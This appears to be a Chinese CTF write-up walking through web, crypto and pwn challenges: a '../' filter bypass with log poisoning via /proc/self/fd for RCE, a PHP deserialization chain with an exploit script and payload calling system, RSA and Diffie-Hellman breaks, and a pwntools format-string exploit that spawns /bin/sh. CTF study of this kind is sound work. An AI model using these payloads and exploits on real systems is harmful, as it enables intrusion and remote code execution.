题目一点进去就是一个url:/read.php?Book=ZGRsLnR4dA==
猜测有任意文件读取,经过一番尝试,从报错中发现过滤了../
,一开始没有立即想到是str_replace
,经过队友的提示,我尝试复写../
,果然成功绕过,通过/var/www/ctf/read.php
可以读取到read.php
的源代码:
..././..././..././..././..././..././..././..././..././var/www/ctf/read.php
base64:Li4uLy4vLi4uLy4vLi4uLy4vLi4uLy4vLi4uLy4vLi4uLy4vLi4uLy4vLi4uLy4vLi4uLy4vdmFyL3d3dy9jdGYvcmVhZC5waHA=
read.php?Book=Li4uLy4vLi4uLy4vLi4uLy4vLi4uLy4vLi4uLy4vLi4uLy4vLi4uLy4vLi4uLy4vLi4uLy4vdmFyL3d3dy9jdGYvcmVhZC5waHA=
读取到的read.php如下:
发现果然是str_replace
,并且有任意文件读取,尝试读取根目录是否有/flag,然而并没有那么简单,很明显是需要通过其他方式来继续getshell。经过多番努力尝试,搜寻无果。
我们知道,在linux下一切皆文件,所有,线索肯定藏在某个地方,从/etc/password
我们可以知道有一个/home/ctf
目录,对该目录进行文件爆破,最终读取到有.bash_history
,很明显是bash命令操作历史:
从命令操作历史来看,应该是存在一个V72J1dn23wjFrq
的目录的,所以我们去尝试访问,最终发现有存在一个demo.php
,重大发现,于是去read.php
开始去读源码:
..././..././..././..././..././..././..././..././..././var/www/ctf/V72J1dn23wjFrq/demo.php
Li4uLy4vLi4uLy4vLi4uLy4vLi4uLy4vLi4uLy4vLi4uLy4vLi4uLy4vLi4uLy4vLi4uLy4vdmFyL3d3dy9jdGYvVjcySjFkbjIzd2pGcnEvZGVtby5waHA=
read.php?Book=Li4uLy4vLi4uLy4vLi4uLy4vLi4uLy4vLi4uLy4vLi4uLy4vLi4uLy4vLi4uLy4vLi4uLy4vdmFyL3d3dy9jdGYvVjcySjFkbjIzd2pGcnEvZGVtby5waHA=
demo.php
源码如下:
很明显的任意文件包含,于是去尝试常见的日志文件包含:
日志文件
nginx
/var/log/nginx/access.log
apache2:
/var/log/apache2/access.log
apache
/var/log/httpd/access_log
最终尝试无果,突然想到了前几天看到的一个php-LFI-trick:# 『CTF Tricks』PHP-妙用/proc/self/fd触发LFI日志包含完成RCE命令执行([羊城杯 2021]Only 4非预期解)
一试没想到还真有指向日志的文件描述符,这个trick使用的环境非常狭窄,没想到还真能遇到,运气不错。
接下来就是往read.php
的user-agent
写入一个一句话:
然后去demo.php
包含/proc/self/fd/8
完成RCE,令人感叹的是,这个flag藏得真厉害,不过最后还是在/home/ctf目录下找到了一个txt文件,flag就在里面:
这题就是一道纯纯的反序列化链子题,但是考的点是利用引用赋值绕过,也是我第一次接触的印象较为深刻的链子,感觉是十分奇妙,一个return用到了如此地步,不得让人感叹,还是需要多多潜心学习!
<?php
class KeyPort {
public function __call($name, $arguments)
{
if(!isset($this->wakeup)||!$this->wakeup){
call_user_func_array($this->format[$name],$arguments);
}
}
public function finish(){
$this->format=array();
return $this->finish->iffinish;
}
public function __wakeup(){
$this->wakeup=True;
}
}
class ArrayObj{
private $iffinish;
public $name;
public function __get($name){
return $this->$name=$this->name[$name];
}
}
class SunCorpa {
public function __destruct()
{
if ($this->process->finish()) {
$this->process->forward($this->_forward);
}
}
}
class MoonCorpa {
public function __destruct()
{
if ($this->process->finish()) {
$this->options['new']->forward($this->_forward);
}
}
public function __wakeup(){
}
}
if($_GET['u']){
unserialize(base64_decode($_GET['u']));
}else{
highlight_file(__FILE__);
}
1、__destruct:一个类如果属性中有对象类型,先执行该类对象的析构函数,再执行属性中类对象的析构函数。即先执行外层,再执行内层。
2、__wakeup:这个则与__destruct函数相反,先执行属性中类对象的wakeup函数,在调用自身类对象的wakeup函数。即先执行内层,再执行外层。
3、php引用赋值&:php可以使用引用的方式,使两个变量同时指向同一个内存地址,这样对其中一个变量操作时,另一个变量的值也会随之改变。
4、__get:当类的成员属性是private,在类外部调用该属性就会调用__get方法;访问不存在的成员属性也会调用__get;
5、__call:当试着调用一个对象中不存在的方法或者在外调用不是public的方法,就是触发__call方法。
6、引用的方式:
看完所有的类,明白的都知道最后都是要去调用KeyPort::__call
下的call_user_func_array
,然而一个wakeup就可以把这条路堵得严严实实的,因为wakeup需要不存在或者为false才能进入该函数进行命令执行,然后__wakeup
的时候就将wakeup置为true了:
所以,就需要用到引用赋值绕过这一个神奇的方法了。思路如下:
由于在类外面进行各种类的实例化和赋值存在些离散和复杂的操作,因此,我们选择一个入口类来存储我们所有需要序列化的类对象。入口类肯定是在有着__destruct函数的两个类中选了,我们选择SunCorpa这个入口类。
1、第一部分,使用引用赋值将key1的wakeup赋值为false:
我来解释一下第一部分,主要的要点就是通过ArrayObj的private属性iffinish触发\_\_get间接使被引用的wakeup为false
首先是SunCorpa最外层的类对象开始析构,this->process被赋值为KeyPort类的一个对象,调用它的finish函数;
最重要的是这一句return this->finish->iffinish;
由于this->finish被赋值为ArrayObj,并且KeyPort的wakeup被ArrayObj的iffinish引用,
所以相当于KeyPort->wakeup=ArrayObj->iffinish=\_\_get(iffinish)=ArrayObj\['iffinish'\]
最终,wakeup被赋值为false。
最重要要理解的就是,那一段return直接触发get赋值的神奇调用了。
第一部分结束,$this->key->wakeup被赋值为false
2、第二部分,因为在执行KetPort::finish()时,其format会被赋值为空数组,导致无法执行我们想要的函数,所以使用引用的方法来给format赋值:
同样是,第二部分我来解释一下,其实跟第一部分大同小异,只要理解了第一部分,那么第二部分就不难理解了。
由于每次进入KetPort::finish函数时,就会是format被赋值为空数组,无法传递命令执行的参数,所以这里我们也可以使用引用赋值绕过。
这里同第一部分一致,仅是将被引用对象属性由wakeup换为了format;但是有个需要特别注意的地方,这里引用的仍是第一部分的format
同时,由于需要调用到call方法,所以这里的MoonCorpa类对象中的options\['new'\]需要使用上面第一部分绕过wakeup构造好的KeyPort。
最后,填入对应的需要调用的函数方法和参数即可命令执行。
注意:为什么在类里面实例化了一个对象new obj之后,还需要自己声明一个变量来存储这个实例化对象,因为你不存储在这个类里面,到时序列化时,就不会把这个实例化对象一起实例化了,链子就会断掉。
最好实例化完该类之后,就一直使用this->obj进行赋值,这样不容易掉链子。
exp
<?php
class KeyPort {
}
class ArrayObj{
private $iffinish;
public $name;
public function __construct(&$x)
{
$this->iffinish=&$x;
}
}
class SunCorpa {
public function __construct(){
//第一部分,使用引用赋值将key1的wakeup赋值为false
$key1=new KeyPort();
$this->key1=$key1;
$arr1=new ArrayObj($key1->wakeup);
$arr1->name=array("iffinish"=>false);
$key1->finish=$arr1;
$this->process=$key1;
//第二部分,同样使用引用赋值使format可控,同时引用第一部分创造好的call入口,即可达到RCE
$moon=new MoonCorpa();
$this->moon=$moon;
$this->moon->options=array("new"=>$this->key1);
$this->moon->_forward="calc";
$key2=new KeyPort();
$this->key2=$key2;
$arr2=new ArrayObj($this->key1->format);
$this->arr2=$arr2;
$this->arr2->name=array("iffinish"=>array("forward"=>"system"));
$this->key2->finish=$this->arr2;
$this->moon->process=$this->key2;
}
}
class MoonCorpa {
}
$sun=new SunCorpa();
$ser=base64_encode(serialize($sun));
echo $ser."\n";
payload
Tzo4OiJTdW5Db3JwYSI6NTp7czo0OiJrZXkxIjtPOjc6IktleVBvcnQiOjM6e3M6Njoid2FrZXVwIjtOO3M6NjoiZmluaXNoIjtPOjg6IkFycmF5T2JqIjoyOntzOjE4OiIAQXJyYXlPYmoAaWZmaW5pc2giO1I6MztzOjQ6Im5hbWUiO2E6MTp7czo4OiJpZmZpbmlzaCI7YjowO319czo2OiJmb3JtYXQiO047fXM6NzoicHJvY2VzcyI7cjoyO3M6NDoibW9vbiI7Tzo5OiJNb29uQ29ycGEiOjM6e3M6Nzoib3B0aW9ucyI7YToxOntzOjM6Im5ldyI7cjoyO31zOjg6Il9mb3J3YXJkIjtzOjQ6ImNhbGMiO3M6NzoicHJvY2VzcyI7Tzo3OiJLZXlQb3J0IjoxOntzOjY6ImZpbmlzaCI7Tzo4OiJBcnJheU9iaiI6Mjp7czoxODoiAEFycmF5T2JqAGlmZmluaXNoIjtSOjc7czo0OiJuYW1lIjthOjE6e3M6ODoiaWZmaW5pc2giO2E6MTp7czo3OiJmb3J3YXJkIjtzOjY6InN5c3RlbSI7fX19fX1zOjQ6ImtleTIiO3I6MTM7czo0OiJhcnIyIjtyOjE0O30
弹出计算器啦,完结撒花!
from Crypto.Util.number import \*
from gmpy2 import \*
from random import \*
from flag import flag
m = bytes\_to\_long(flag)
while True:
try:
p = getPrime(512)
q = next\_prime(p+2\*\*420)
n = p\*q
phi = (p-1)\*(q-1)
d = randint(0,n\*\*0.32)
e = inverse(d,phi)
c = pow(m,e,n)
break
except:
continue
print("e = %d"%e)
print("n = %d"%n)
print("c = %d"%c)
'''
e = 101684733522589049376051051576215902510166244234370429058800153902445053536138419222096346715560283781778705047246555278271919928248836576236044123786248907522717751222608113597458768397652361813688176017155353220911686089871315647328303370846954697334521948003485878793121446614220897034652783771882675756065
n = 106490064297459077911162044548396107234298314288687868971249318200714506925762583340058042587392504450330878677254698499363515259785914237880057943786202091010532603853142050802310895234445611880617572636397946757345480447391544962796834842717321639098108976593541239044249391398321435940436125823407760564233
c = 92367575354201067679929326801477992215675304496512806779109227230237905402825022908214026985431756172011616861246881703226244396008088878308925377019775353026444957454196182919500667632574210469783704454438904889268692709062013797002819384105191802781841741128273810101308641357704215204494382259638905571144
'''
很明显,可以直接进行爆破,爆破的脚本如下所示:
from random import *
from Crypto.Util.number import *
from gmpy2 import *
e = 101684733522589049376051051576215902510166244234370429058800153902445053536138419222096346715560283781778705047246555278271919928248836576236044123786248907522717751222608113597458768397652361813688176017155353220911686089871315647328303370846954697334521948003485878793121446614220897034652783771882675756065
n = 106490064297459077911162044548396107234298314288687868971249318200714506925762583340058042587392504450330878677254698499363515259785914237880057943786202091010532603853142050802310895234445611880617572636397946757345480447391544962796834842717321639098108976593541239044249391398321435940436125823407760564233
c = 92367575354201067679929326801477992215675304496512806779109227230237905402825022908214026985431756172011616861246881703226244396008088878308925377019775353026444957454196182919500667632574210469783704454438904889268692709062013797002819384105191802781841741128273810101308641357704215204494382259638905571144
for i in range(1,999999):
att=2**420+i
if iroot(att**2+4*n,2)[1]:
ppp=(iroot(att**2+4*n,2)[0])
p=(ppp-att)//2
q=n//p
d=inverse(e,(p-1)*(q-1))
m=pow(c,d,n)
print(long_to_bytes(m))
from Crypto.Util.number import \*
\# from secret import p,q,e,flag
i = 11
j = 2
n = p\*q
phi = (p-1)\*(q-1)
d = inverse(e,phi)
assert i\*p-j\*q < n\*\*0.342
m = bytes\_to\_long(flag)
c = pow(m,e,n)
print("n = %d"%n)
print("e = %d"%e)
print("c = %d"%c)
'''
n = 45644374572906696918751526371540317432552767574531146725947197073091284249824311652929876880761183040024642912502639494246699284890420348711755152172125722304276541146638287085067604879135037538874624825231963426170448359129554061563687341132377272549120305441316002675552272436786866637426883885955669
e = 41481590714555165448395765336905824124002290841668481529563451625379681482568747653473952507567741287320305714776744069287119560788311144707988486438017581271859974139810844158857833808782692691546769253874942787868189158458052798618813933937987400708792117152522747046613196233766095230599127585735387
c = 22481406077490349765775034449449891800947708922075545785612755725758022203729757284410090404594184343037857329687684264861065063318192985875299797350095483009028047907100198078442807473361406623372312757028192244866488285737647764514477453697952539702007946700121592003883339948335465611926065239772772
'''
有明显的特征:0.342,知道是 rsa Generalized Wiener Attack "0.342"
直接google搜索,下载paper,发现有现成的p可以测试,一试发现就是出题人用的就是这个p,所以直接拿那个p去算就可以拿到flag了。
exp
from Crypto.Util.number import *
p=2880794542322299126706444345451054566788591299326109649598593295363377126011666800246753142436062672739058788177830266655144151568857625404801769045849
n = 45644374572906696918751526371540317432552767574531146725947197073091284249824311652929876880761183040024642912502639494246699284890420348711755152172125722304276541146638287085067604879135037538874624825231963426170448359129554061563687341132377272549120305441316002675552272436786866637426883885955669
e = 41481590714555165448395765336905824124002290841668481529563451625379681482568747653473952507567741287320305714776744069287119560788311144707988486438017581271859974139810844158857833808782692691546769253874942787868189158458052798618813933937987400708792117152522747046613196233766095230599127585735387
c = 22481406077490349765775034449449891800947708922075545785612755725758022203729757284410090404594184343037857329687684264861065063318192985875299797350095483009028047907100198078442807473361406623372312757028192244866488285737647764514477453697952539702007946700121592003883339948335465611926065239772772
print(long_to_bytes(pow(c,inverse(e,p-1), p)))
分析题目可知, 是一个DH密钥交换协议。
参数是g = 916143391925527262831875920931
p=11629419588729710248789180926208072549658261770997088964503843186890228609814366773219056811420217048972200345700258846936553626057834496
其中p = 2^425
。在这样p下面离散对数问题是很简单的。
看到输出,发现前面都是固定的格式:
我们直接将后面的东西提取出来:
去掉空格,十六进制解码,发现是一个十六进制的长整型数,是python2用的。所以这个应该是Alice传的A,拿去解离散对数:
得到a=834271009007676372630844596581
同理我们可以拿到B:b=1250126455332688858891056975419
然后我们根据代码计算协商密钥
from Crypto.Cipher import AES
from hashlib import sha256
share = pow(A,b,p)
sharekey = sha256(str(share).encode()).hexdigest()\[:16\]
然后去解密消息,Flag的密文应该是Alice传给Bob的
应该是 02 后面的值,拿下来解码,然后根据代码用AES解密
aes = AES.new(sharekey.encode(),AES.MODE\_ECB)
aes.decrypt(cipher)
while
循环内不断的调用printf(buf)
的格式化字符串漏洞。
一开始调试输入了很多的%p,发现偏移3的位置(%3$p)
可以leak出libc的地址。
由于buf在bss段上,我们考虑在栈上布置printf的got表,利用栈上的链表写入got表,然后再利用栈上的got表,修改printf的got表为system函数的地址,之后printf(buf)
,输入buf为/bin/sh
即调用sysem("/bin/sh")
from os import system
from signal import pause
from pwn import *
from LibcSearcher import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')
mode = 0
if mode == 1:
fang = process("./pwn")
else:
fang = remote("39.105.99.40",34230)
def debug():
gdb.attach(fang)
pause()
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
printf_got = elf.got['printf'] # 0x403390
# gdb.attach(fang,"b *0x4011C7")
# pause()
fang.recvuntil("HELLO?PWN IT!!!\n")
fang.sendline("%3$p")
libc_addr = int(fang.recv(14),16)
libc_base = libc_addr - 0xf7360
system_addr = libc_base + libc.symbols['system']
log.info("printf_got : 0x%x" % printf_got)
log.info("libc_base : 0x%x" % libc_base)
log.info("system_addr : 0x%x" % system_addr)
payload = "%13200c%6$hn"
fang.recvuntil("HELLO?PWN IT!!!\n")
fang.sendline(payload)
sleep(1)
payload = "%4207505c%17$n"
fang.recvuntil("HELLO?PWN IT!!!\n")
fang.sendline(payload)
sleep(1)
system_addr_low = system_addr & 0xff
system_addr_high = (system_addr>>8) & 0xffff
payload = "%"+ str(system_addr_low) +"c%8$hhn" + "%" + str(system_addr_high - system_addr_low) + "c%36$hn"
fang.recvuntil("HELLO?PWN IT!!!\n")
fang.sendline(payload)
sleep(1)
payload = "/bin/sh\x00"
fang.recvuntil("HELLO?PWN IT!!!\n")
fang.sendline(payload)
fang.interactive()
玩羊了个羊游戏,一直狂点消灭,玩完就可以拿flag了
10 篇文章
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!